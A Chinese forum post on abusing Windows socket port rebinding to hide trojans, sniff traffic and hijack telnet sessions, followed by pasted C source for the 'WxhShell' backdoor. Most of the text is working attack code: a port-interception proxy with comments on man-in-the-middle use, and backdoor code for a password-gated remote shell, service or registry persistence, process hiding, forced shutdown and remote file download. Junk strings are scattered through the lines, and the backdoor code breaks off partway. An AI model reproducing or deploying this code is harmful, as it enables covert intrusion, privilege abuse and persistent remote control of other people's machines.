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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3t[2Bd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U$6N-q  
o6  
  saddr.sin_family = AF_INET; N54U [sy  
2@Jw?+}vr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |#$Wh+,*  
FVsVY1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RvvK`}/6  
Q&^ti)vB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]H) x  
K[PIw}V$?:  
  这意味着什么?意味着可以进行如下的攻击: 5YMjvhr?W  
He. gl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "CBe$b4  
Z.<OtsQN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zz= +?L  
v! uD]}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \kZxys!4  
Hn0 ,LH$/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y^=\w?d  
&V$_u#<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BdB/`X*  
zn&NLsA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qYZX, x  
BftW<1,U^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0Jz'9  
` *x;&.&v  
  #include I/rq@27o  
  #include !.H< dQS  
  #include $0V<wsVM  
  #include    O8TAc]B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^k]OQc7q'  
  int main() wqJ^tA!  
  { PYPs64kNC]  
  WORD wVersionRequested; !]7Z),s  
  DWORD ret; i]a0 "  
  WSADATA wsaData; kJq8"Klg  
  BOOL val; l_Ftt N  
  SOCKADDR_IN saddr; }Zc.rk  
  SOCKADDR_IN scaddr; |"?0H#  
  int err; [>Z~& cm  
  SOCKET s; ,*%%BTnR  
  SOCKET sc; ~~,\BhG?  
  int caddsize; ir-srVoXy  
  HANDLE mt; (S* T{OgO  
  DWORD tid;   -("sp  
  wVersionRequested = MAKEWORD( 2, 2 ); !"j?dQ.U;  
  err = WSAStartup( wVersionRequested, &wsaData ); u.x>::i&  
  if ( err != 0 ) { i]a 5cn  
  printf("error!WSAStartup failed!\n"); rg)>ZHx  
  return -1; x6\EU=,  
  } jQ@z!GirT  
  saddr.sin_family = AF_INET; R}>xpU1  
   CEq0ZL-W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CWdA8)n.  
%WiDz0o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5Jh=${  
  saddr.sin_port = htons(23); ='a[(C&Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e<6fe-g9;  
  { <xOXuve  
  printf("error!socket failed!\n"); ({i}EC7{  
  return -1; QI'ule  
  } XT> u/Z)  
  val = TRUE; !E8y!|7$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v\PqhIy"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A}?n.MAX>  
  { zs:O HEZw  
  printf("error!setsockopt failed!\n"); :{bvCos<)  
  return -1; #mLF6 "A  
  } u6Fm qK]Dj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pky/fF7e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RT HD2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0sM{yGu=,  
ER<LP@3k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G?)NDRM  
  { n*{aN}auJ  
  ret=GetLastError(); ?j9J6=2  
  printf("error!bind failed!\n"); '!^5GSP3&  
  return -1; @(M-ZO!D  
  } {fFZ%$  
  listen(s,2); {z> fe }  
  while(1) S#_g/3w  
  { ;NQ9A &$)  
  caddsize = sizeof(scaddr); 9z6-HZG'~<  
  //接受连接请求 T'B43Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]=!wMn**  
  if(sc!=INVALID_SOCKET) ?~c=Sa-  
  { `dekaRo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); smaPZ^;; j  
  if(mt==NULL) Fv$5Zcf  
  { &~)PB |  
  printf("Thread Creat Failed!\n"); zrVw l\&  
  break; ,r^zDlS<q  
  } KM li!.(b  
  } k%Dpy2uH  
  CloseHandle(mt); nb dm@   
  } +A%|.;  
  closesocket(s); + 2 v6fan  
  WSACleanup(); 15dhr]8E  
  return 0; Yci>'$tQ  
  }   Ey96XJV  
  DWORD WINAPI ClientThread(LPVOID lpParam) F|pM$Kd`  
  { rYez$e^r  
  SOCKET ss = (SOCKET)lpParam; '0q.zzv|_  
  SOCKET sc; zGgPW  
  unsigned char buf[4096]; -!i1xR (;h  
  SOCKADDR_IN saddr; HR'sMu3  
  long num; P t< JF  
  DWORD val; PJ}d-   
  DWORD ret; 8 p D$/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `t[b0; 'OH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0x BO5[w,Y  
  saddr.sin_family = AF_INET; -#@l`kt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z 0&=Lw  
  saddr.sin_port = htons(23); hK^(Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z5.Uv/n\1  
  { v2eLH:6  
  printf("error!socket failed!\n"); :jL>sGvBv  
  return -1; ?-M?{De   
  } xb{G:v  
  val = 100; ls[0X82F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3 UUOB.  
  { (Y i 1U~{:  
  ret = GetLastError(); DR]=\HQ  
  return -1; >D]g:t@v  
  } ]90BIJ]*c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4^uQB(}Z  
  { c_"=G#^9@i  
  ret = GetLastError(); {BV0Y.O  
  return -1; bmCp:6  
  } m8[XA!,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xf2|9Tqt  
  { FgwIOpqE*  
  printf("error!socket connect failed!\n"); $[f-{B{>*  
  closesocket(sc); 7slpj8  
  closesocket(ss); Cp"a,%b6u  
  return -1; 7)Cn 4{B6  
  }  T.d1?  
  while(1) ,f*Q3 S/I  
  { 7b8+"5~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2F7(Y)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P^'TI[\L9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :/A7Z<u,  
  num = recv(ss,buf,4096,0); Ymvd3>_  
  if(num>0) a+mrsyM  
  send(sc,buf,num,0); w?#s)z4}g  
  else if(num==0) Cb}I-GtO  
  break; N!~O~ Eo3  
  num = recv(sc,buf,4096,0);  zSd!n  
  if(num>0) ~fnu;'fN  
  send(ss,buf,num,0); LX'z7fh  
  else if(num==0) <n1panS  
  break; jK^Q5iD  
  } bW-sTGjRD  
  closesocket(ss); 33},lNS|  
  closesocket(sc); 216=7O2F  
  return 0 ; Wn%b}{9Fb  
  } Cer&VMrQK  
= Ed0vw  
X 0vcBHh  
========================================================== ;yu#Bs  
J7;8 S  
下边附上一个代码,,WXhSHELL <uG6!P  
5Z@0XI  
========================================================== y5{Vx{V"Q  
'fjouO  
#include "stdafx.h" xmNs%  
'MgYSP<  
#include <stdio.h> c/DK31K  
#include <string.h> Fy 1- >~  
#include <windows.h> &+5ij;AD  
#include <winsock2.h> Q Yg V[\&  
#include <winsvc.h> C4aAPkcp2$  
#include <urlmon.h> =u-q#<h4 ;  
OwCbv j0 #  
#pragma comment (lib, "Ws2_32.lib") oGRd ;hsF  
#pragma comment (lib, "urlmon.lib") 6gs0Vm  
6Ki!j<  
#define MAX_USER   100 // 最大客户端连接数 9-+N;g!q  
#define BUF_SOCK   200 // sock buffer +OI<0  
#define KEY_BUFF   255 // 输入 buffer xp?YM35  
^c<8|lK L@  
#define REBOOT     0   // 重启 {E[t(Ig  
#define SHUTDOWN   1   // 关机 s*Nb=v.e9  
bj6;>Ezp3(  
#define DEF_PORT   5000 // 监听端口 d&* c3F  
S6g_$ Q7  
#define REG_LEN     16   // 注册表键长度 1}_4C0h\'  
#define SVC_LEN     80   // NT服务名长度 W) Ct*I^  
UgL FU#  
// 从dll定义API A.vf)hO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  PI.Zd1r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QWc,JCu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xa'^:H $X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Z$W"JP  
yJ/YK  
// wxhshell配置信息 Ht:\ z;cu  
struct WSCFG { %M3L<2  
  int ws_port;         // 监听端口 '}^qz#w   
  char ws_passstr[REG_LEN]; // 口令 }Y^o("c(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q=6 1.lP6  
  char ws_regname[REG_LEN]; // 注册表键名 k!ID  
  char ws_svcname[REG_LEN]; // 服务名 7YxVtN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '&+]85_&$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jlA6~n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [Tl66Eyl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w4fQ~rcUIc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?[uHRBR'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C :An  
mW$Oi++'d  
}; bg!(B<!X  
x6)qs-  
// default Wxhshell configuration H:|.e)$i  
struct WSCFG wscfg={DEF_PORT, k`;d_eW  
    "xuhuanlingzhe", '?jsH+j+  
    1, tI@aRF=p]2  
    "Wxhshell", XzPOqZ`Nv  
    "Wxhshell", '4Jf[  
            "WxhShell Service", t.+)g-X  
    "Wrsky Windows CmdShell Service", #mU<]O  
    "Please Input Your Password: ", &b`'RZe  
  1, gnGh )  
  "http://www.wrsky.com/wxhshell.exe", wfv\xHG  
  "Wxhshell.exe" wH$qj'G4CN  
    }; wz)s  
_Vl~'+e  
// 消息定义模块 qyxd9Lk1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z4 <_>)p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Oi'y0S~ g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R7"7 Rx   
char *msg_ws_ext="\n\rExit."; Ab]tLz|Z  
char *msg_ws_end="\n\rQuit."; 2i0;b|-=  
char *msg_ws_boot="\n\rReboot..."; !u'xdV+bf  
char *msg_ws_poff="\n\rShutdown..."; "F}dZ  
char *msg_ws_down="\n\rSave to "; z#Fel/L`O  
 H~TuQ  
char *msg_ws_err="\n\rErr!"; L2p?] :-  
char *msg_ws_ok="\n\rOK!"; 064k;|>D  
oNIYO*[  
char ExeFile[MAX_PATH]; < =~=IZ)  
int nUser = 0; 2WDe 34   
HANDLE handles[MAX_USER]; zrqI^i"c  
int OsIsNt; S]ayH$w\Q  
N,Z*d  
SERVICE_STATUS       serviceStatus; 4 ob?M:S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "P0!cY8r  
}S8aR:'  
// 函数声明  B$6KI  
int Install(void); L}CU"  
int Uninstall(void); `Th~r&GvF  
int DownloadFile(char *sURL, SOCKET wsh); (6B;  
int Boot(int flag); %.hJDX\j  
void HideProc(void); ! d<R =L  
int GetOsVer(void); ~&<t++ g  
int Wxhshell(SOCKET wsl);  =   
void TalkWithClient(void *cs); IA<>+NS  
int CmdShell(SOCKET sock); vQ* RrHG?c  
int StartFromService(void); `kJ)E;v;3  
int StartWxhshell(LPSTR lpCmdLine); ]\KVA)\  
^8EW/$k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xxyc^\$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $cK}Tl q  
A yr ,  
// 数据结构和表定义 p3Qls*  
SERVICE_TABLE_ENTRY DispatchTable[] = z bYv}q  
{ Yb^e7Eug  
{wscfg.ws_svcname, NTServiceMain}, f] #\&"  
{NULL, NULL} p:TE##  
}; .hu7JM+  
9DJ&J{2W  
// 自我安装 =3c?W&:  
int Install(void) S9Oz5_x  
{ z &X l  
  char svExeFile[MAX_PATH]; $1 "gFg  
  HKEY key; L /:^;j`c  
  strcpy(svExeFile,ExeFile); \#(1IC`as  
SGSyO0O  
// 如果是win9x系统,修改注册表设为自启动 0uIY6e0E  
if(!OsIsNt) { Y ~g\peG7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jan}}7Dly  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); haBmwq(f  
  RegCloseKey(key); ,|d9lK`"P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Iminet  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iMJt8sd  
  RegCloseKey(key); l99Lxgx=  
  return 0; >zqaV@T  
    } 4/|x^Ky>G  
  } BK%. wi  
} )M.s<Y  
else { x;)I%c  
e,epKtL  
// 如果是NT以上系统,安装为系统服务 VS/M@y_./  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W]#w4Fp!  
if (schSCManager!=0) >STthPO  
{ 7bk77`qWr  
  SC_HANDLE schService = CreateService uDie205  
  ( /M%>M]  
  schSCManager, ,IyQmN y  
  wscfg.ws_svcname, BW7AjtxQ&  
  wscfg.ws_svcdisp, {iX#  
  SERVICE_ALL_ACCESS, ". tW5O>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |dLr #+'az  
  SERVICE_AUTO_START, wYf\!]}'  
  SERVICE_ERROR_NORMAL, . 2$J-<O  
  svExeFile, \KnRQtlI  
  NULL, TdgK.g 4  
  NULL, *0xL(  
  NULL, Vt(Wy  
  NULL, q@~g.AMCB  
  NULL F<k+>e  
  ); -$W1wb9z  
  if (schService!=0) jcJ 4?  
  { ?).;cG:<  
  CloseServiceHandle(schService); ?)|}gr  
  CloseServiceHandle(schSCManager); <4LJ #Fx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z )'9[t  
  strcat(svExeFile,wscfg.ws_svcname); h40;Q<D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ##6\~!P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .p! DVQ"a  
  RegCloseKey(key); YK)m6zW5  
  return 0; ;Y\LsmZ;F  
    } "G [Nb:,CR  
  } wHbkF#[:i  
  CloseServiceHandle(schSCManager); wx*?@f>u^  
} Q"dq_8\`U  
} It[51NMal  
c'i5,\ #X  
return 1; gSwV:hm  
} fgd2jr 3T  
7S }0Kuk)  
// 自我卸载 FL' }~il  
int Uninstall(void) 9$\s v5  
{ g8N"-j&@  
  HKEY key; ksC_F8Q+  
aO(PVS|P  
if(!OsIsNt) { D+3?p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xT"V9t[f  
  RegDeleteValue(key,wscfg.ws_regname); QCW4gIp  
  RegCloseKey(key); 9>&zOITTaL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bI &<L O  
  RegDeleteValue(key,wscfg.ws_regname); @4*:qj?  
  RegCloseKey(key); U`q keNd  
  return 0; d5l42^Z  
  } ZU`9]7"87B  
} Ax&!Nz+?  
} gS~H1Ro  
else { _=~u\$  
p[C"K0>:_F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G1 "QX  
if (schSCManager!=0) k`m7j[A]l  
{ +r3)\L{U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oIE 1j?  
  if (schService!=0) L*Z.T^h  
  { 9m M3Ve*  
  if(DeleteService(schService)!=0) { N1ipK9a  
  CloseServiceHandle(schService); J _O5^=BP  
  CloseServiceHandle(schSCManager); D`JBK?~  
  return 0; K5qCPt`'  
  } ~o!- [  
  CloseServiceHandle(schService); Vx$;wU Y  
  } %Xd*2q4*  
  CloseServiceHandle(schSCManager); 'Tm1Mh0Fso  
} ZRxOXt&;  
} L(TM& ps\-  
P~trxp=k  
return 1; rw'+2\  
} '(5GR I<  
GM6, LzH  
// 从指定url下载文件 ELCNf   
int DownloadFile(char *sURL, SOCKET wsh) 3%+ ~"4&  
{ "Au4&Fu  
  HRESULT hr; KrpIH6  
char seps[]= "/"; *&I>3;~%^}  
char *token; Ljd`)+`D  
char *file; r !Aj5  
char myURL[MAX_PATH]; ~</FF'Xz  
char myFILE[MAX_PATH]; !1)aie+p6  
",b:rgpRp  
strcpy(myURL,sURL); Dx-P]j)4x  
  token=strtok(myURL,seps); x]c8?H9,&  
  while(token!=NULL) N_c44[z 1  
  { gyvrQ, u  
    file=token; <c}@lj-j  
  token=strtok(NULL,seps); KyyR Hf5  
  } Y*c]C;%=  
pt <zyH3Z  
GetCurrentDirectory(MAX_PATH,myFILE); 5tlR rf  
strcat(myFILE, "\\"); 1tNL)x"w  
strcat(myFILE, file); % Ln`c.C  
  send(wsh,myFILE,strlen(myFILE),0); 6HY): M&?  
send(wsh,"...",3,0); 4`,(*igEv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rml'{S  
  if(hr==S_OK) (A~7>\r +  
return 0; 0#]fEi  
else Bg~]u+c*  
return 1; z+"$G  
dVb6u  
} OMLU ;,4  
+5zXbfO  
// 系统电源模块 gs'M^|e)  
int Boot(int flag) -%` ~3*L  
{ w jkh*Y  
  HANDLE hToken; << >+z5D+  
  TOKEN_PRIVILEGES tkp; aRMlE*yW  
~n]5iGz  
  if(OsIsNt) { _@ao$)q{J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?X&Y8Kf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u<S`"MR:J  
    tkp.PrivilegeCount = 1; Ljy797{f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K{P-+(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,clbD4  
if(flag==REBOOT) { #kC~qux^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4eHSAN"$  
  return 0; ,sL'T[tuiU  
} Z Ts*Y,  
else { }n9(|i+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WN'AQ~qA  
  return 0; $@z77td3  
} U?0|2hR~  
  } H+[?{+"#@l  
  else { 1 (<n^\J(  
if(flag==REBOOT) { eI1zRoIl-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZE=sw}=  
  return 0; +_]Ui| l  
} 7%^G ]AFi  
else { JH.XZM&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P)Adb~r  
  return 0; h[remR# 3\  
} PF~@@j  
} kk=n&M  
J8:s=#5  
return 1; C7%R2>}?f  
} HgQjw!  
At.& $ t  
// win9x进程隐藏模块 mo| D  
void HideProc(void) 5T;LWS  
{ ahl|N`  
gnp.!-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t=P+m   
  if ( hKernel != NULL ) qd0G sr}j  
  { <j'K7We/tP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rbd0`J9fq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dd?G4xUG  
    FreeLibrary(hKernel); agUdI_'~@9  
  } ^)dsi  
"|3I|#s  
return; S\:^#Yi`  
} [K4cxqlfk  
bg zd($)u  
// 获取操作系统版本  y<Koc>8  
int GetOsVer(void) `PUqz&  
{ xG sOnY;  
  OSVERSIONINFO winfo; ~}_^$l8#-Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "^4*,41U  
  GetVersionEx(&winfo); #z(:n5$F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) if'=W6W  
  return 1;  kORWj<  
  else /!Rva"  
  return 0; 2|,$#V=  
} nd' D0<%  
iV{_?f1jo  
// 客户端句柄模块 .V;,6Vq  
int Wxhshell(SOCKET wsl) HkD. W6A3  
{ MRpMmu  
  SOCKET wsh; + f6LG 0q  
  struct sockaddr_in client; 9~UR(Ts}l  
  DWORD myID; hCQOwk#  
d8wGXNd7B  
  while(nUser<MAX_USER) 8>C4w 5kF  
{ H9T~7e+  
  int nSize=sizeof(client); _A,_RM$Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ( >}1t!1  
  if(wsh==INVALID_SOCKET) return 1; `:C1Wo^<  
*ra)u-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]t 0o%w  
if(handles[nUser]==0) 5Dkb/Iagi  
  closesocket(wsh); s@L ;3WdO  
else #*A&jo'E  
  nUser++;  LDg9@esi  
  } &E`Nu (e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~^'P   
5p.rd0T]l3  
  return 0; )?72 +X  
} eCI'<^  
t!\aDkxo %  
// 关闭 socket w[z=x  
void CloseIt(SOCKET wsh) :%gc Sm  
{ ':4ny]F  
closesocket(wsh); 4u5j 7`O  
nUser--; ]O|>nTa  
ExitThread(0); 0/ QDfA?  
} >v,X:B?+FL  
od!44p]  
// 客户端请求句柄 ranem0KQ)]  
void TalkWithClient(void *cs) phDIUhL$z  
{ 1L <TzQ  
U 4d7-&U  
  SOCKET wsh=(SOCKET)cs; dC6>&@ VX  
  char pwd[SVC_LEN]; I[%IW4jJ  
  char cmd[KEY_BUFF]; EP38Ho=[  
char chr[1]; O8Mypv/C  
int i,j;  m}yu4  
QbdXt%gZe  
  while (nUser < MAX_USER) { dg|+?M^9`  
g+o$&'\  
if(wscfg.ws_passstr) { rai'x/Ut}+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qK'mF#n0#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s`x2Go  
  //ZeroMemory(pwd,KEY_BUFF); e,s  S.  
      i=0; #. Dl1L/  
  while(i<SVC_LEN) { Uv59 XF$  
XB'rh F8rl  
  // 设置超时 }6l:'nW  
  fd_set FdRead; #Shy^58$  
  struct timeval TimeOut; TD\TVK3P  
  FD_ZERO(&FdRead); f?Ex$gnI  
  FD_SET(wsh,&FdRead); W<<G  'Km  
  TimeOut.tv_sec=8; b#7nt ?`7p  
  TimeOut.tv_usec=0; MO ~T_6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ok--Jyhv#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l4kqz.Z-g  
U$D:gZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y6am(ugE  
  pwd=chr[0]; Q8HNST($?  
  if(chr[0]==0xd || chr[0]==0xa) { 0^{Tq0Ri[  
  pwd=0; O4-#)#-)S~  
  break; xpa+R^D5G  
  } N_D=j 6B  
  i++; T \34<+n1N  
    } d)48m}[:  
70avr)OM  
  // 如果是非法用户,关闭 socket Cdl"TZ<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LEKE+775  
} |%4nU#GoB  
bIT[\Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); []\-*{^r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nILUo2e~  
<> =(BAw  
while(1) { 9on$0  
>o"s1* {  
  ZeroMemory(cmd,KEY_BUFF); xD7Y"%Pbx  
LZ#A`&qUd  
      // 自动支持客户端 telnet标准   K{y`Sb~k  
  j=0; Z+R-}<   
  while(j<KEY_BUFF) { #d8]cm=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bIt{kzuQC  
  cmd[j]=chr[0]; qUe2(/TQu  
  if(chr[0]==0xa || chr[0]==0xd) { <mLU-'c@  
  cmd[j]=0; v-$X1s  
  break; |{M F o)  
  } !h&h;m/c  
  j++; jhG6,;1zMI  
    } GLY,<O>D5  
Gyu =}  
  // 下载文件 L_Z`UhD3{  
  if(strstr(cmd,"http://")) { -{3^~vW|<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S@\&^1;4Hv  
  if(DownloadFile(cmd,wsh)) un6W|{4]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xx?x/q  
  else 6wiuNGZb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M9V,;*  
  } F[ ^ p~u{  
  else { *[nS*D\:  
<c`,fd8  
    switch(cmd[0]) { _z^&zuO  
  ^CwS'/fdN  
  // 帮助 TFc/`  
  case '?': { C 1HNcfa7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oz'jt} ?  
    break; $v{s b,  
  } N}bZdE9F  
  // 安装 How:_ Hj  
  case 'i': { Qe[ai?iJkt  
    if(Install()) k:s86q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -% B)+yq>  
    else k<*1mS8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eF 8um$t9  
    break; bB.nevb9p  
    } =Oh/4TbW[  
  // 卸载 Y$q--JA  
  case 'r': { K<ldl.  
    if(Uninstall()) r-BqIoVT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aj+I+r"~  
    else >48)@sS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &)Wm rF  
    break; Z;U\h2TY  
    } (B+zh  
  // 显示 wxhshell 所在路径 h 7\EN  
  case 'p': { @(st![i+  
    char svExeFile[MAX_PATH]; Q!Dr3x  
    strcpy(svExeFile,"\n\r"); Izfj 9h ?  
      strcat(svExeFile,ExeFile); nRZ T~S4  
        send(wsh,svExeFile,strlen(svExeFile),0); b|Ed@C  
    break; p t{/|P  
    } 5geZ6]|  
  // 重启 q|;+Wp?  
  case 'b': { \4q1<j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e3&.RrA  
    if(Boot(REBOOT)) ZONe}tv:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Bnh%6#ab  
    else { IW|1)8d  
    closesocket(wsh); yw?UA  
    ExitThread(0); +QrbW  
    } 9/GC8*+  
    break; X15e~;&  
    } g|3FJA/  
  // 关机 zQ eXN7$  
  case 'd': { Y6%O9b  
